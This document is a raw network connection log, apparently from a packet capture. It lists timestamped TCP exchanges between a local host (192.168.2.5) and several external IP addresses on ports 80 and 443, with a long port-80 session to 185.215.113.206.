Nov 25, 2024 14:14:36.634007931 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.687253952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:36.748043060 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.748215914 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.748409986 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.748821020 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.748842001 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.777820110 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.777868986 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.777944088 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.778865099 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.778881073 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.792792082 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.792874098 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.793020964 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.793508053 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.793523073 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.837800026 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.837892056 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.838087082 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.842497110 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.842525959 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.846093893 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.846582890 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.846652031 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.848380089 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.848453999 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.849010944 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.849123001 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.849370003 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.849390030 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.895798922 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.896725893 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.896756887 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.898220062 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.898291111 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.898802996 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.898883104 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.929663897 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.929941893 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.929975033 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.930986881 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.931054115 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.931407928 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.931469917 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.981192112 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.981229067 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.981255054 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:37.016474962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016524076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016534090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.016565084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.016614914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016654968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.016664028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016676903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016688108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016702890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.016729116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.016805887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016819000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.016886950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.022692919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.022742987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.022743940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.022789001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.023396015 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.023649931 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.023714066 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.024107933 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.024122000 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.024182081 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.024204969 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.024260044 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.025141954 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.026381016 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.026473999 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.026550055 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.026563883 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.031055927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.031116009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.031150103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.031333923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.042934895 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.042954922 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.091264963 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:37.091371059 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.136826992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.136925936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.217417002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.217492104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.217606068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.217654943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.221323013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.221396923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.222700119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.222750902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.222889900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.222934961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.230618954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.230678082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.230755091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.230803013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.231077909 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.239217043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.239272118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.239339113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.239377975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.246793985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.246850967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.246941090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.247478962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.247558117 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:37.247632980 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:37.248131037 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:37.248955011 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:37.248975039 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:37.248990059 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:37.248995066 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:37.254872084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.255100965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.255160093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.262278080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.262342930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.262378931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.262433052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.270066977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.270111084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.270134926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.270159960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.278271914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.278311968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.278347969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.278367043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.285094023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.285151005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.285180092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.285197973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.287116051 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.287190914 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.287277937 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.287518024 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.287534952 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.292278051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.292330980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.292349100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.292373896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.299453020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.299527884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.362813950 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.362864971 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.363022089 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.363049030 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.363365889 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.363377094 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.407330990 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.418934107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.419008017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.419168949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.419218063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.420186996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.420272112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.420375109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.420454025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.424983978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.425084114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.425087929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.425133944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.428544998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.428600073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.428793907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.428837061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.433315992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.433408022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.433558941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.433610916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.438637018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.438703060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.439075947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.439124107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.444859028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.444884062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.444936991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.448867083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.448911905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.449058056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.449192047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.452246904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.452290058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.452366114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.452434063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.457021952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.457149982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.457199097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.461889982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.461935043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.461971045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.462037086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.466551065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.466708899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.466738939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.466759920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.471257925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.471324921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.471364021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.471401930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.476042986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.476084948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.476140976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.476205111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.480972052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.481036901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.481057882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.481091022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.485596895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.485649109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.485749006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.485800982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.490413904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.490458965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.491029024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.491070032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.495050907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.495115995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.495496988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.495551109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.499758959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.499804020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.500070095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.500266075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.504426003 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.504597902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.504640102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.504780054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.505059004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.505209923 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.505220890 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.505718946 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.505723000 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.509347916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.509403944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.509450912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.509495974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.509977102 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.510787964 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.510812044 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.511243105 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.511251926 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.514131069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.514143944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.514393091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.518807888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.518887997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.519076109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.519202948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.523524046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.523569107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.523655891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.523727894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.527894974 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.528587103 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.528616905 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.531346083 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.531357050 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.570147038 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.572952032 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.572968960 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.573738098 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.573743105 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.619901896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.619987965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.620023966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.620053053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.620945930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.621021986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.621032000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.621057034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.624877930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.625006914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.625089884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.625135899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.628572941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.628632069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.628765106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.628807068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.632417917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.632520914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.632616997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.632656097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.636243105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.636336088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.636375904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.636413097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.640053034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.640101910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.640137911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.640178919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.643170118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.643244028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.643523932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.643591881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.646584988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.646632910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.646802902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.646842957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.649970055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.650089025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.650131941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.650221109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.653290987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.653366089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.653393984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.653521061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.656517982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.656563997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.656702995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.656744957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.659778118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.659858942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.659897089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.659966946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.663044930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.663233995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.663501024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.663810015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.666352987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.666507006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.666543007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.666587114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.669631958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.669807911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.669859886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.669903994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.672964096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.673026085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.673300028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.673341036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.676132917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.676182032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.676359892 CET	80	49760	185.215.113.206	192.168.2.5
